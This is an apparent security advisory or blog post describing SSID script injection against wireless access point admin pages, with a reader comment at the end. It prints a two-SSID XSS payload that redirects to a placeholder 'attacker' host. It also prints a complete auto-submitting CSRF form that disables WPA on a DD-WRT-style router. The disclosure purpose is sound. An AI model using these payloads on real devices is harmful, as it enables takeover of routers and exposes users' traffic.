SSID Script Injection
The administrative web interfaces for many wireless access points (APs) provide users with ‘Neighbourhood Wireless Scan’ functionality. This functionality scans for all accessible APs and displays the details of any APs which are identified. However, examination of these administrative interfaces revealed that a large number of them do not properly sanitise the parameters that are passed to them from any accessible APs.
An attacker could set up a fake AP with a malicious payload in the Service Set Identifier (SSID). The malicious SSID would be displayed in the ‘Neighbour’s Access Points Table’ page of the administrative interface and would be executed when an administrator scanned for APs.
Circumstances
Device providing an administrative web interface with a ‘Neighbourhood Wireless Scan’ functionality.
Cause
The device administrative web interface does not properly sanitise parameters that are passed to it from identified access points.
Exploitation
An attacker could set up a fake access point broadcasting specially crafted 802.11 ‘beacon’
packets containing a malicious payload in the SSID.
The malicious SSID will be displayed in the ‘Neighbor’s Wireless Networks’ page of the affected device administrative interface and will be executed when an administrator scans for wireless access points.
Impact
Administrative web interfaces normally have highly privileged access to operating system functions via in-built script. In combination with a CSRF technique an attacker could fully compromise the affected system.
Dependencies
- The attacker would need to be in wireless range of the affected device. However, nowadays, antennas are available which can dramatically increase the distance that can exist between an attacker and their target
- SSIDs have a maximum length of 32 characters and this would not normally be sufficient to inject a usable malicious payload for an attack. However, an attacker could set up two fake access points and deliver a payload using the combined content of both SSIDs. A payload of 64 characters would be enough to redirect a user’s browser to a malicious web server.
Attack Technique
1. An attacker sets up two fake AP broadcasting specially crafted 802.11 beacon packets containing a malicious payload in the SSID
SSID of the first access point: -
<script>location=/*
SSID of the second access point: -
*/"http://attacker";</script>
A malicious SSID combined together with the use of JavaScript comment tags (/* */) will make the following payload usable in an attack.
<script>location="http://attacker";</script>
2. This malicious SSIDs will be displayed in the ‘Neighbour’s Wireless’ page of the affected device administrative interdace and will be executed when an administrator scans for wireless APs
3. The malicious payload references to a script hosted in the attacker’s web server. Below it can be seen an example of the malicious script hosted in the attacker’s web server. This code will vary depending on the affected device.
<html>
<body onload="javascript:document.forms.wpa.submit();">
<form name="wpa" action="http://192.168.1.1/apply.cgi” method=”POST”>
<input type=”hidden” name=”submit_button” value=”WL_WPATable” />
<input type=”hidden” name=”action” value=”ApplyTake” />
<input type=”hidden” name=”change_action” value=”gozila_cgi” />
<input type=”hidden” name=”submit_type” value=”save” />
<input type=”hidden” name=”security_varname” />
<input type=”hidden” name=”security_mode_last” />
<input type=”hidden” name=”wl_wep_last” />
<input type=”hidden” name=”filter_mac_value” />
<input type=”hidden” name=”wl0_security_mode” value=”disable” />
</form>
</body>
</html>
4. The malicious script hosted in the attacker’s web server is used to perform a CSRF attack against the affected administrative interface. This script causes the administrator’s browser to make a POST request to the wireless encryption functionality (apply.cgi) and disables the device’s wireless encryption.
Tool: SSID Script Injection [1]
Advisory: DD-WRT SSID Script Injection Vulnerability [1] [2]
Demo: DD-WRT SSID Script Injection Attack [1]
White paper: Behind Enemy Lines [1] [2]
December 4th, 2008 at 2:23 am
good stuff my friend. we share the same vision of persistent HTMLi via protocols other than HTTP. awesome!